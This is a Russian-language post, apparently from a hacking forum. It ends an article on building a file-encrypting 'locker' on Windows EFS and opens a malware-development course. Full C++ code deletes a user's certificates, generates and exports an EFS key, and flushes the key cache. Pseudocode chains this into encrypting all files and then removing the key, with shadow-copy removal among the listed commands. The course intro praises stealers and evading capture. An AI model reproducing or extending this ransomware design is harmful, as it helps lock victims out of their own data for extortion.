что файловая система не поддерживает EFS. Теперь дело осталось за малым – реализация. Все этапы подготовки можно реализовать с
помощью cipher.exe – это вариант для ленивых. Он работает. Кому интересно – читайте документацию. А мы пойдем другим путем и будем
работать на уровне WinAPI.
Поехали.

3.2 Реализация
Для начала нам понадобится спроектировать наши классы. Во всех книжках говорится, что команда должна реализовать единствен-
ный метод интерфейса ICommand – execute. Ну и у каждой команды есть свой набор параметров, количество и типы которых заранее
неизвестны. Поэтому мы их тоже вынесем в отдельное семейство классов.

3.2.1 ICommand interface
Итого, у нас получилась следующая картина. Интерфейс ICommand – простой до неприличия.

Spoiler: ICommand

C++:Copy to clipboard

#ifndef ICOMMAND_HPP
#define ICOMMAND_HPP

#include <string>
#include <memory>
#include <utility>
#include "abstract_command_executor.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"

namespace core::commands
{
    using namespace command_line;

    class ICommand;

    using CommandPtr = std::shared_ptr<ICommand>;

    class ICommand
    {
    protected:
        const COMMAND_TYPE m_commandType = COMMAND_TYPE::UNKNOWN_COMMAND;
        const std::string m_commandName;
        CommandExecutorPtr m_executor;
        CommandParamsPtr m_commandParams;
        std::string m_lastError;
        bool m_isInteractive = false;
    public:
        ICommand(std::string commandName, CommandParamsPtr commandParams, const COMMAND_TYPE mCommandType)
                : m_commandType(mCommandType)
                  , m_commandName(std::move(commandName))
                  , m_commandParams(std::move(commandParams))
        {}

        virtual bool execute()
        {
            return m_executor->execute();
        }

        virtual void printHelp() = 0;

        virtual const std::string &lastError()
        {
            return m_executor->getLastError();
        }

        [[nodiscard]] bool isInteractive() const
        {
            return m_isInteractive;
        }

        void setInteractive(bool isInteractive)
        {
            m_isInteractive = isInteractive;
        }
    };
}

#endif

Параметры команд я тут приводить не буду, дабы не захламлять статью. Это обычная обертка. Гораздо интереснее посмотреть на
реализацию самих команд. Тут вот какой момент. На текущем этапе я не знаю каким способом я буду выполнять команду. В моем случае
это либо использование cipher.exe, либо напрямую через WinAPI. Поэтому. Команду будет выполнять отдельный класс, который мы
поместим внутри нее. Обзовем его AbstractCommandExecutor. Вот он и будет отвечать за конкретную реализацию. Не понравится –
напишем еще один. Сравним результаты, а потом уже во время выполнения сможем вызывать нужного исполнителя.
Кто-то скажет: "а нахрена"? Ответ простой. Масштабируемость и гибкость. К тому же, у меня нет здесь цели реализовать полноценный
локер. Для меня это академическая задача. И основная цель статьи – показать, что паттерны – это хорошо, а грамотно спроектированная
архитектура – еще лучше.
Продолжим.

Spoiler: CommandExecutor

C++:Copy to clipboard

#ifndef ABSTRACT_COMMAND_EXECUTOR_HPP
#define ABSTRACT_COMMAND_EXECUTOR_HPP

#include <memory>
#include <string>

namespace sakura::core::commands
{

    class AbstractCommandExecutor;

    using CommandExecutorPtr = std::unique_ptr<AbstractCommandExecutor>;

    class AbstractCommandExecutor
    {
    protected:
        std::string m_lastError;

        bool m_isInteractive = false;
    public:
        virtual ~AbstractCommandExecutor() = default;



        virtual bool execute() = 0;


        [[nodiscard]] const std::string &getLastError() const
        {
            return m_lastError;
        }

        [[nodiscard]] bool isInteractive() const
        {
            return m_isInteractive;
        }

        void setInteractive(bool isInteractive)
        {
            m_isInteractive = isInteractive;
        }
    };

}

#endif

Еще нам понадобится фабрика, создающая команды на основе переданных параметров. Выглядеть она будет примерно так:

Spoiler: CommandFactory

C++:Copy to clipboard

#ifndef COMMAND_FACTORY_HPP
#define COMMAND_FACTORY_HPP


namespace core::commands
{
    using namespace command_line;

    class CommandFactory
    {
    public:
        static auto createExportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createFlushCacheCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createRemoveShadowCopiesCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createGenerateEfsCertificateCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createImportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createRemoveEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createCleanDiskCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createDecryptCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createEncryptCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createEncryptFolderCommand(CommandParamsPtr params) -> CommandPtr;

        static auto createDecryptFolderCommand(const CommandParamsPtr& params) -> CommandPtr;

        static auto createMountFolderCommand(const CommandParamsPtr& params) -> CommandPtr;
    };
}

#endif

Реализация методов однотипная. Приведу парочку.

C++:Copy to clipboard

namespace core::commands
{

    CommandPtr CommandFactory::createExportEfsCertificateCommand(CommandParamsPtr params)
    {
        return std::make_shared<ExportEfsCertificateCommand>(std::move(params));
    }

    CommandPtr CommandFactory::createFlushCacheCommand(CommandParamsPtr params)
    {
        return std::make_shared<FlushCacheCommand>(std::move(params));
    }
}

Теперь приступим к реализации конкретных команд.
Поехали.
3.3 Модуль операций над сертификатами
Небольшое лирическое отступление. Я решил вынести все операции с сертификатами в отдельный класс, дабы упростить реализацию
самих исполнителей и иметь возможность повторного использования кода. Как известно, самое сложное в работе программиста – это
именование переменных. К тому моменту я уже довольно устал, поэтому назвал его, класс в смысле, CertificateManager, не смотря на то,
что это самое идиотское название, которое можно было придумать. А переделывать мне лень. Тем более, что вряд ли этот код пойдет
дальше этой статьи.
Ниже приведен его код полностью, т.к. в нем реализованы все основные операции с сертификатами.
Заголовочный файл.

Spoiler: CertManager

C++:Copy to clipboard

#ifndef CERTIFICATE_MANAGER_HPP
#define CERTIFICATE_MANAGER_HPP

#include <windows.h>
#include <string>
#include <iostream>

#include <string>
#include <filesystem>
namespace fs = std::filesystem;
namespace tools::cipher
{

    class CertificateManager
    {
    private:
        static auto indicateKindOfProperty(DWORD propertyId) -> void;

        static auto enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void;

        static auto writePassword2File(const fs::path& passwordFilename, const std::string& password) -> bool;
    public:

        static auto enumCertificateInStore() -> std::size_t;

        static auto deleteCertificatesFromStore() -> bool;

        static auto generateEfsCertificate() -> bool;

        static auto exportEfsCertificate(const std::filesystem::path &certFilename, const std::filesystem::path &passwordFilename,
                                         const std::string& password) -> bool;

        static auto importEfsCertificate(const fs::path &importPath) -> bool;

        static auto flushCertCache() -> bool;

    };

} // cipher

#endif //CERTIFICATE_MANAGER_HPP

и реализация

Spoiler: CertificateManager implementation

C++:Copy to clipboard

#include "certificate_manager.hpp"
#include "cipher_helper.hpp"
#include "tools/string_helper.hpp"
#include "tools/exceptions/exception.hpp"
#include "tools/exceptions/error_handler.hpp"
#include "tools/sysinfo/system_info.hpp"
#include <windows.h>
#include <wincrypt.h>
#include <string>
#include <fstream>
#include <algorithm>
#include "tools/exceptions/error_handler.hpp"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "cryptui.lib")

#define MY_ENCODING_TYPE  (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)

namespace tools::cipher
{
    using namespace std::string_view_literals;
    using namespace std::string_literals;
    using namespace exceptions;
    using namespace sysinfo;

    auto CertificateManager::indicateKindOfProperty(const DWORD propertyId) -> void
    {
        switch (propertyId)
        {
            case CERT_FRIENDLY_NAME_PROP_ID:
            {
                printf("Display name: ");
                break;
            }
            case CERT_SIGNATURE_HASH_PROP_ID:
            {
                printf("Signature hash identifier ");
                break;
            }
            case CERT_KEY_PROV_HANDLE_PROP_ID:
            {
                printf("KEY PROVE HANDLE");
                break;
            }
            case CERT_KEY_PROV_INFO_PROP_ID:
            {
                printf("KEY PROV INFO PROP ID ");
                break;
            }
            case CERT_SHA1_HASH_PROP_ID:
            {
                printf("SHA1 HASH identifier");
                break;
            }
            case CERT_MD5_HASH_PROP_ID:
            {
                printf("md5 hash identifier ");
                break;
            }
            case CERT_KEY_CONTEXT_PROP_ID:
            {
                printf("KEY CONTEXT PROP identifier");
                break;
            }
            case CERT_KEY_SPEC_PROP_ID:
            {
                printf("KEY SPEC PROP identifier");
                break;
            }
            case CERT_ENHKEY_USAGE_PROP_ID:
            {
                printf("ENHKEY USAGE PROP identifier");
                break;
            }
            case CERT_NEXT_UPDATE_LOCATION_PROP_ID:
            {
                printf("NEXT UPDATE LOCATION PROP identifier");
                break;
            }
            case CERT_PVK_FILE_PROP_ID:
            {
                printf("PVK FILE PROP identifier ");
                break;
            }
            case CERT_DESCRIPTION_PROP_ID:
            {
                printf("DESCRIPTION PROP identifier ");
                break;
            }
            case CERT_ACCESS_STATE_PROP_ID:
            {
                printf("ACCESS STATE PROP identifier ");
                break;
            }
            case CERT_SMART_CARD_DATA_PROP_ID:
            {
                printf("SMART_CARD DATA PROP identifier ");
                break;
            }
            case CERT_EFS_PROP_ID:
            {
                printf("EFS PROP identifier ");
                break;
            }
            case CERT_FORTEZZA_DATA_PROP_ID:
            {
                printf("FORTEZZA DATA PROP identifier ");
                break;
            }
            case CERT_ARCHIVED_PROP_ID:
            {
                printf("ARCHIVED PROP identifier ");
                break;
            }
            case CERT_KEY_IDENTIFIER_PROP_ID:
            {
                printf("KEY IDENTIFIER PROP identifier ");
                break;
            }
            case CERT_AUTO_ENROLL_PROP_ID:
            {
                printf("AUTO ENROLL identifier. ");
                break;
            }
            default:
                break;
        }

    }

    auto CertificateManager::enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void
    {

        DWORD cbData = 0;
        DWORD dwPropId = 0;

        while ((dwPropId = CertEnumCertificateContextProperties(pCertContext, dwPropId)))
        {
            indicateKindOfProperty(dwPropId);
            if (!CertGetCertificateContextProperty(pCertContext, dwPropId, nullptr, &cbData))
            {
                throw CertStoreException("Call #1 to GetCertContextProperty failed.");
            }
        }

    }

    auto CertificateManager::enumCertificateInStore() -> std::size_t
    {
        std::size_t certCount = 0;

        HCERTSTORE hCertStore;
        PCCERT_CONTEXT pCertContext = nullptr;

        if (const auto storeName = L"MY"; !((hCertStore = CertOpenSystemStore(NULL, storeName))))
        {
            throw CertStoreException("The store was not opened.");
        }
        while ((pCertContext = CertEnumCertificatesInStore(hCertStore, pCertContext)))
        {
            ++certCount;
        }
        CertFreeCertificateContext(pCertContext);
        CertCloseStore(hCertStore, 0);

        return certCount;
    }


    auto CertificateManager::deleteCertificatesFromStore() -> bool
    {

        HANDLE hStoreHandle;
        PCCERT_CONTEXT pCertContext = nullptr;
        PCCERT_CONTEXT pDupCertContext;
        if (!((hStoreHandle = CertOpenSystemStore(NULL, L"MY"))))
        {
            throw RemoveCertificatesException("The store was not opened.");
        }

        while ((pCertContext = CertEnumCertificatesInStore(hStoreHandle, pCertContext)))
        {
            if (!((pDupCertContext = CertDuplicateCertificateContext(pCertContext))))
            {
                throw RemoveCertificatesException("Duplication of the certificate pointer failed.");
            }
            if (!CertDeleteCertificateFromStore(pDupCertContext))
            {
                throw RemoveCertificatesException("The deletion of the certificate failed.\n");
            }
        }
        CertCloseStore(hStoreHandle, 0);


        return true;
    }

    auto CertificateManager::generateEfsCertificate() -> bool
    {
        system("cipher.exe /k");
        Sleep(3000);
        return enumCertificateInStore() == 1;
    }


    auto CertificateManager::exportEfsCertificate(const fs::path &certFilename
                                                  , const fs::path &passwordFilename
                                                  , const std::string &password) -> bool
    {
        if (const auto hStore = CertOpenSystemStore(NULL, L"MY"); hStore != nullptr)
        {
            int certsCount = 0;
            PCCERT_CONTEXT certContext = nullptr;
            while ((certContext = CertEnumCertificatesInStore(hStore, certContext)) != nullptr)
                certsCount++;

            if (certsCount == 0)
                throw ExportEfsCertificatesException("a cert store empty");

            CRYPT_DATA_BLOB pfxBlob;
            pfxBlob.pbData = nullptr;
            pfxBlob.cbData = 0;

            const auto wPassword = StringHelper::stringToWideString(password);
            if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
                throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());

            if ((pfxBlob.pbData = static_cast<unsigned char *>(LocalAlloc(LPTR, pfxBlob.cbData))) == nullptr)
                throw std::bad_alloc();

            if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
                throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());

            const auto certFilenameW = certFilename.wstring();
            const auto out = CreateFile(certFilenameW.c_str(), GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
            if (!out)
                throw IOException("can't write certificate to file");

            DWORD rl;
            WriteFile(out, pfxBlob.pbData, pfxBlob.cbData, &rl, nullptr);
            CloseHandle(out);
            LocalFree(pfxBlob.pbData);
            CertCloseStore(hStore, 0);
        }

        if (!writePassword2File(passwordFilename.string(), password))
        {
            throw FileNotFoundException("Can't write password to file");
        }
        return true;
    }

    auto CertificateManager::writePassword2File(const fs::path &passwordFilename, const std::string &password) -> bool
    {
        std::ofstream passwordFile(passwordFilename);
        auto copy = password;
        std::reverse(copy.begin(), copy.end());
        passwordFile << copy;
        passwordFile.close();
        return fs::exists(passwordFilename);
    }

    auto CertificateManager::importEfsCertificate(const fs::path &importPath) -> bool
    {
        if (!CipherHelper::isValidCertificatePath(importPath))
            throw DirectoryNotFoundException(importPath.string());
        const auto password = CipherHelper::getPasswordFromFile(importPath);
        const auto filename = CipherHelper::generateCertificateFilename(importPath);
        const auto wFilename = filename.wstring();
        FILE* pFile = nullptr;
        BYTE sFileBuf[64 * 1024] = {0};
        // open cert file for local cert
        if (_wfopen_s(&pFile, wFilename.c_str(), L"rb"))
        {
            throw IOException("can't read a certificate " + importPath.string());
        }

        // read local cert into *ppLocalCert, allocating memory
        fread(sFileBuf, sizeof(sFileBuf), 1, pFile);
        fclose(pFile);

        CRYPT_DATA_BLOB blob;
        blob.cbData = sizeof(sFileBuf);
        blob.pbData = sFileBuf;
        const HCERTSTORE hCertStore = PFXImportCertStore(&blob, password.c_str(), CRYPT_EXPORTABLE);
        if (hCertStore == nullptr)
            throw ImportCertificateException(ErrorHandler::getLastErrorMessage());
        const PCCERT_CONTEXT ctx = CertEnumCertificatesInStore(hCertStore, nullptr);
        const HCERTSTORE rootStore = CertOpenSystemStore(NULL, L"MY");
        CertAddCertificateContextToStore(rootStore, ctx, CERT_STORE_ADD_REPLACE_EXISTING, nullptr);
        CertCloseStore(hCertStore, 0);
        CertCloseStore(rootStore, 0);
        return true;
    }

    auto CertificateManager::flushCertCache() -> bool
    {
        system("cipher.exe /FLUSHCACHE");
        return true;
    }

} // cipher

Как видно из кода, где то я использовал вызовы WinAPI/CryptoAPI, а где-то мне было лень разбираться и я самым наглым образом эксплуатировал cipher.exe

3.4 Команды выполнения операций над сертификатами
Поскольку все операции над сертификатами мы вынесли в отдельный класс, то реализация команд будет в несколько строчек.

3.4.1 ExportEfsCertificateCommand

Spoiler: ExportEfsCertCommand

C++:Copy to clipboard

#ifndef EXPORT_EFS_CERTIFICATE_COMMAND_HPP
#define EXPORT_EFS_CERTIFICATE_COMMAND_HPP

#include "core/commands/abstract_command.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"
#include "core/commands/abstract_command_executor.hpp"

namespace core::commands
{
    using namespace command_line;


    class ExportEfsCertificateCommand final
        : public ICommand
    {
        class Executor final
            : public AbstractCommandExecutor
        {
            const fs::path m_exportPath;
            fs::path m_passwordFilename;
            fs::path m_certFilename;

        public:
            explicit Executor(fs::path exportPath);
            auto execute() -> bool override;
        };

        fs::path m_exportPath;


    public:
        explicit ExportEfsCertificateCommand(CommandParamsPtr params);

        auto execute() -> bool override;

        auto printHelp() -> void override;

    };
}

#endif

реализация:

Spoiler: ExportEfsCertCommand impl

C++:Copy to clipboard

#include "export_efs_certificate_command.hpp"
#include <utility>
#include "core/commands/command_line/command_params/certificate_command_params/export_cert_command_params.hpp"
#include "tools/cipher_tools/cipher_helper.hpp"
#include "tools/file_system_helper.hpp"
#include "tools/cipher_tools/certificate_manager.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/exceptions/_exception.hpp"

namespace core::commands
{
    using namespace cipher;
    using namespace tools;
    using namespace exceptions;

    ExportEfsCertificateCommand::ExportEfsCertificateCommand(CommandParamsPtr params)
            : ICommand("ExportEfsCertificateCommand", std::move(params), COMMAND_TYPE::EXPORT_EFS_CERTIFICATE)
    {

    }

    auto ExportEfsCertificateCommand::execute() -> bool
    {
        if (const auto params = dynamic_cast<ExportCertCommandParams *>(m_commandParams.get()))
        {
            if (!params->isCommandParamsParsed()) throw InvalidCommandParamsException(m_commandName);

            m_exportPath = params->getExportPath();
            m_executor = std::make_unique<Executor>(m_exportPath);
            return m_executor->execute();
        }
        Logger::fatalError("can't cast params to ExportCertCommandParams");
        return false;
    }

    auto ExportEfsCertificateCommand::printHelp() -> void
    {
        throw NotImplementedException(__FUNCTION__);
    }


    ExportEfsCertificateCommand::Executor::Executor(fs::path exportPath) : m_exportPath(std::move(exportPath))
    {
        m_certFilename = CipherHelper::generateCertificateFilename(m_exportPath);
        m_passwordFilename = CipherHelper::generatePasswordFilename(m_exportPath);
    }

    auto ExportEfsCertificateCommand::Executor::execute() -> bool
    {
        constexpr auto passwordLength = 128;
        const auto password = CipherHelper::generateRandomPassword(passwordLength);
        return CertificateManager::exportEfsCertificate(m_certFilename, m_passwordFilename, password);
    }
}

Реализация остальных команд аналогична и сводится к вызову соответствующих методов менеджера сертификатов, поэтому я их тут приводить не буду.

3.5 Команды шифрования и расшифровки файлов
Команды операций над сертификатами получились скучными и однородными. Если очень заморочиться, то там можно сделать код еще
красивее и юзабельнее, но нам пока это не нужно. Сосредоточимся лучше на шифровании и расшифровке файлов.
Поехали.

3.5.1 EncryptCommand
Вот теперь и становится понятно к чему были все эти танцы с бубнами выше. Я о куче однотипных классов для операций над сертификатами.
Смотрите как просто все получилось. Ниже будет только псевдокод.

C++:Copy to clipboard

        bool EncryptCommand::execute()
        {
            removeCertsCommand = CommandFacory::createRemoveCertCommand()
            if (!removeCertCommand->execute) return false;
           
            generateCertsCommand = CommandFacory::createGenerateCertsCommand = ()
            if (!generateCertsCommand->execute) return false;
           
            exportCertsCommand = CommandFacory::createExportCertsCommand = ()
            if (!exportCertsCommand->execute) return false;
           
            encryptAll();
           
            if (!removeCertCommand->execute) return false;
           
            flushCertsCacheCommand = CommandFacory::createFlushCertsCacheCommand = ()
            if (!flushCertsCacheCommand->execute) return false;
           
        }

Примерно такая же картина будет и для расшифровки, только сначала мы импортируем сертификат, а потом расшифровываем.
3.6 Encryptor
Это последний на сегодня класс, который будет рассмотрен. В его реализации тоже нет ничего особо примечательного. За исключением,
разве лишь, метода doWork. Да и он лишь обобщение всей работы.

C++:Copy to clipboard

          void Encryptor::doWork(const fs::path &root)
        {
           
            try
            {
                Logger::debug(__FUNCTION__);
                Timer timer;
                timer.start();
                const auto dataCollector = std::make_shared<DataCollector>();
                dataCollector->enableEncryptMode();
                dataCollector->findData4Processing(root);
                timer.stop();
                {
                    std::cout << "preparing time: " << timer.getTime() << std::endl;
                }
                const auto &files = dataCollector->getFiles();
                std::lock_guard lockGuard(m_mutex);
                {
                    const auto &folders = dataCollector->getProcessingFolders();
                    m_encryptedFolders.insert(folders.begin(), folders.end());
                }
                const auto currentData4EncryptingSize = dataCollector->getCurrentData4ProcessingSize();
                const auto worker = std::make_shared<Worker>(COMMAND_TYPE::ENCRYPT, m_isInteractive);
                worker->setCurrentPath(root);
                worker->setCurrentData4ProcessingSize(currentData4EncryptingSize);
                worker->setFiles(files);
                timer.start();
                worker->doWork();
                timer.stop();
                std::cout << "encrypting time: " << timer.getTime() << std::endl;
            }
            catch (Exception &e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
            }
            catch (std::exception &e)
            {
                Logger::debug(__FUNCTION__);
                Logger::fatalError(e.what());
            }
        }

Отмечу только, что для шифрования и расшифровки мы воспользовались нативными методами EncryptFile и DecryptFile соответственно.

4 Выводы

  1. Мы попытались реализовать свой "шкафчик". Причем не обычный, а с использованием внутренних инструментов операционной системы. В общем и целом задачу можно считать выполненной. К реальному использованию продукт не пригоден по многим причинам, одной из которых является сложность предварительной подготовки. Однако тесты в лаборатори показали достаточно неплохие, как по мне, результаты по скорости. Но мне не с чем сравнивать, поэтому это чисто субъективное мнение.

  2. Архитектура спроектирована таким образом, что при минимальных изменениях мы можем заменить алгоритм шифрования с EFS на любой другой и нам не придется переписывать все заново.

Подытоживая материал еще раз хочу донести несколько простых вещей:
• Любую задачу, имеющую решение можно решить путем разбиения ее на мелкие подзадачи (да, я Капитан сегодня);
• успех специалиста в любой области прямопропорционален квадрату его задницы;
• архитектуру, паттерны проектирования и прочие штуки придумали далеко не дураки, поэтому их можно и нужно изучать, а также
применять на практике;
• чтобы написать свой шкафчик мне понадобилось чуть больше недели, при условии, что я уделял ему не более 3 часов в сутки;
• я намеренно не выкладываю сюда код всего проекта во избежание, как говорится.
Спасибо всем, кто дочитал до конца.
За сим позвольте откланяться.

Разработка малвари на С++. Глава 1.
ID: 6765d804b4103b69df375681
Thread ID: 126752
Created: 2024-11-12T16:23:06+0000
Last Post: 2024-12-19T06:45:29+0000
Author: Snow
Prefix: Статья
Replies: 16 Views: 2K

Всем вечер добрый. Видимо я действительно немного закопался.
pdf тут
Разработка малвари на С++.
Углубленный курс.
_SNOW эксклюзивно для XSS.IS
Посвящается _кормилице нашей – святой Винде, да будет благословенен создатель ее, муд рейший из мудрых, пресвятой Билли, да будет лишь прирастать она свежими уязвимостями с каждым новым релизом её, да останется она во веки веков источником нашего процветания и про
питания.

Содержание
1 Введение.
1.1 Мотивация. Или для чего всё это нужно.
1.2 Для кого этот курс .
1.3 Цели и задачи курса.
2 Список литературы и ресурсов, необходимых для успешного старта.
2.1 Литература по С++ .
2.1.1 Бессмертная классика.
2.1.2 Полезные ресурсы.
2.1.3 STL .
2.1.4 Boost .
2.1.5 Qt .
2.2 Чистый код. Искусство рефакторинга.
2.3 Литература по проектированию и архитектуре ПО.
2.4 Литература по управлению проектами.
2.5 Литература по внутреннему устройству операционных систем.
2.5.1 Windows .
2.5.2 Linux .
2.6 Литература по сетям.
2.6.1 Литература по корпоративным сетям и Active Directory .
2.7 Литература по информационной безопасности.
2.7.1 Вирусология. Написание вирусов и прочих зловредов .
2.7.2 Методы защиты информации.
2.8 Литература по системам контроля версий.
3 Подготовка к запуску проекта. Управление проектом. Инструменты для командной разработки.
3.1 Таск-трекер. Выбор, настройка, политики использования.
3.2 Выбор и настройка системы контроля версий.
3.2.1 GIT .
3.2.2 Subversion (SVN) .
4 Подготовка рабочего окружения.
4.1 Выбор IDE .
4.1.1 MS Visual Studio .
4.1.2 CLion .
4.1.3 QtCreator .
5 Выбор и настройка инструментов тестирования.
5.1 Модульное тестирование.
5.1.1 Google tests.
6 Заключение

1 Введение
Итак, пришло время собирать камни (С) – приступить к написанию обещанного цикла статей.
1.1 Мотивация. Или для чего всё это нужно.
Тут должна быть некая предыстория, в которой рассказывалось бы про ... Да про что угодно, на самом деле. Но ее не
будет. Мотивация предельно простая. Хочу плашку эксперта, как у Вахи и Ранда. А для этого нужно потрудиться.
А если серьезно, то имея достаточно солидный опыт разработки на плюсах, я всё равно временами испытываю сложности
при разработке тематических проектов. Многие вещи для меня остаются загадкой, до тех пор, пока я не пощупаю их лично.
Но мне чуть проще, т.к. опыт белой разработки позволяет относительно быстро «въехать в тему» на уровне, достаточном
для решения задачи но, зачастую, недостаточном для понимания сути вещей. Поэтому я решил пойти по пути повышения
своей квалификации именно таким способом. Ибо, как известно, если хочешь разобраться в чем либо, попробуй объяснить
это пятилетнему ребенку. Глядишь и получится чего.
А если у вас нет серьезного опыта промышленной разработки, то зачастую всё будет сводиться к сочинению очеред-
ной козы на лисапеде, из говна и палок, с кучей костылей. У меня тоже примерно так, только у меня получаются уже
тюнингованные козы или лисапеды, поэтому будем учиться вместе.
1.2 Для кого этот курс
Как упоминалось выше, курс предназначен для всех желающих вступить в секту адептов С++. А также для тех, кто
считает себя уже состоявшимся профи и готов делиться опытом и получать новый. Ибо, как известно, опыта много не бывает.
Особенно ценным вкладом в проект будет участие в нем опытных специалистов по мыловарению. Я очень надеюсь, что для
кого-то это станет отправной точкой путешествия в увлекательный мир разработки на православных плюсах. Если хотя бы
один человек напишет, что проект помог ему определиться с дальнейшим направлением развития – значит всё уже не зря.
1.3 Цели и задачи курса.
Как строительство любого здания начинается с проектирования, так и любой курс, будь то и курс по матану в универе,
и курс от инфоцыган по зарабатыванию 100500 баксов в наносекунду, начинается с описания целей и задач.
Приступим. Здесь я постараюсь набросать своё видение, в дальнейшем этот список будет пополняться и редактироваться.
Попрошу не пугаться несколько формального описания целей и задач. Это не означает вовсе, что курс будет построен
именно в таком порядке. Мы пойдем другим путем. Во время написания проектов в рамках курса будут возникать вопросы,
так или иначе перечисленные в целях и задачах. Мы их будем подробно разбирать, давать отсылку на соответствующие
источники. Необходимый минимум для решения проблемы я дам. Остальное для самостоятельного изучения. Всегда поста-
раюсь ответить на ваши вопросы.
На самом деле я сам еще не знаю что у нас получится. Но, как говорил один мудрый человек: «будешь делать – будет
делаться, а не будешь делать – ни х*я не будет делаться».
Дабы упростить восприятие, основные пункты – это у нас цели, а подпункты – задачи, которые необходимо решить для
достижения целей.
Поехали.
1. Цель: Дать общее понимание специфики изучения С++, с учетом как собственного опыта, так и исходя из ваших
советов и комментариев.
Задачи:

  1. составить список рекомендуемой литературы по изучению языка, с описанием преимуществ и недостатков того или иного произведения или автора;
  2. составить список ресурсов, на которые мы будем опираться в дальнейшей работе, с указанием их сильных и слабых сторон;
  3. дать рекомендации по выбору и настройке рабочего окружения – IDE, компиляторов, дебаггеров;
  4. ознакомить с особенностями разработки на плюсах, в том числе мы разберем: 1. Работу с памятью – мы наконец таки выясним чем отличается new от malloc и почему за использование сырых указателей в С++ необходимо вводить кастрацию без наркоза; 2. Работу с низкоуровневым API на уровне операционной системы – пощупаем работу с WinAPI и POSIX и многое другое; 3. Поддержку сразу всех существующих парадигм программирования – тута вам и процедурщина – для старых пердунов, и ООП – не путать с «Си с классами», и, даже, функциональщина в чистом виде – я видел 4 вложенных лямбды в проде и выжил. Поэтому мы будем потихоньку изучать и применять на практике; 4. Шаблоны. Основа основ. 5. Статическую типизацию. Ее преимущества и недостатки. 6. Кроссплатформенность – таки да, на плюсах можно писать чистый кроссплатформенный код, правда именно к мыловарению это довольно сложно, если вообще, применимо, но мы попробуем. 7. сюда же можно добавить ознакомление со списком наиболее популярных библиотек С++, таких как STL, boost, Qt, OpenCV, OpenSSL, Poco, Google protobuf, ... и рекомендации по их применению в тех или иных ситуациях. То есть мы должны понимать где нам выгоднее взять готовый инструмент и освоить его, а где придется таки сочинять свою козу на лисапеде. 8. (f) Обсудим современные стандарты С++. Начиная с С++ 11 и до С++ 20, включительно. С++ 23 и даже С++ 26 трогать не будем. Там очень много не очевидных нововведений, от которых неокрепший мозг может превратиться во что-нибудь нехорошее и вытечь. Очень многие конторы сидят еще на С++ 14, С++ 17 – вроде как промышленный стандарт, но это не точно. Ну и не забудем, конечно, о С++ 98/03 – первых стандартах языка.

2. Цель: Дать общее представление о технологии разработки ПО, применительно к мыловарению и не только.
Обсудим и попробуем применить на практике такие штуки, как:

  1. Жизненный цикл ПО – от анализа требований, составления ТЗ, проектирования архитектуры – до непосредственно разработки, тестирования, внедрения и сопровождения.
  2. Общие требования к разрабатываемому ПО: 1. качество – какой софт можно считать качественным, а какой – куском дерьма; 2. производительность – в мыловарении это особенно актуально; 3. масштабируемость – горизонтальная и вертикальная; 4. надежность – хороший софт должен работать даже в условиях ядерной войны; 5. безопасность – в мыловарении один из самых важных моментов, ибо если вы написали крутейший стиллер, с помощью которого увели пару лямов зелени у жирных буржуев, но при этом у вас комменты на русском, а в настройках гита вы указали свою реальную почту, то праздник на вашей улице продлится очень недолго; 6. удобство использования – как ни крути, но современный мамкин хацкер боится консоли, как черт ладана. Поэтому у нас 2 пути – либо делать консольный интерфейс максимально продуманным и понятным даже для мартышки, либо прикручивать гуй/панель; 7. тестирование – модульное, интеграционное, нагрузочное. Без тестов нынче никуда. Будем разбираться; 8. сопровождаемость – ПО должно быть спроектировано и написано таким образом, что даже если вам на голову упадет кирпич или тимлид уйдет на месяц в запой, его могли подхватить привлеченные, условно говоря с улицы, кодеры и без особых проблем продолжить разработку. А когда тимлид вернется из запоя, у него не возникнет желания повторно уйти в алкогольный туман; 9. документирование – О, эти извечные споры по поводу документации. Одни кричат, что код должен быть самодокументируемым. Другие рвут тельник на груди, доказывая, что только наличие качественной документации позволяет считать таковым и ПО, каким бы успешным оно не было. Будем разбираться и с этим;
  3. Методологии разработки ПО – waterfal (водопад), а также все эти ваши agile, scrum, kanban. Попробуем разобраться что это и с чем едят. Одну из методик возьмем на вооружение при разработке проектов в рамках курса.

3. Цель: дать общее представление о разработке архитектуры приложений.
Архитектура приложений – это основа основ, залог успеха или неудачи проекта. Поэтому данному аспекту будет уделено особое внимание.
Задачи:

  1. составить список литературы и ресурсов по теме;
  2. научиться извлекать функциональные (пользовательские сценарии) и не функциональные (количественные и качественные характеристики, помноженные на хотелки заказчика) требования к проекту из постановки задачи;
  3. рассмотреть основные архитектурные стили и шаблоны, найти им практическое применение в рамках курса;
  4. паттерны проектирования – данный пункт вынес в отдельную цель, дабы подчеркнуть его важность;
  5. научиться составлять системные требования к продукту – производительность, масштабируемость, надежность, безопасность, доступность;
  6. научиться определять технологические ограничения, связанные с используемыми технологиями и инструментами;
  7. научиться моделировать и визуализировать архитектуру – UML, DDD (domain Driven Design), Нотация моделирования C4 – Context, Containers, Components, Code;
  8. научиться оценивать различные варианты архитектуры и выбирать наиболее подходящую для конкретного проекта;
  9. изучить принципы SOLID и научиться им следовать;

4. Цель: изучить и научиться применять на практике паттерны проектирования.
Задачи:

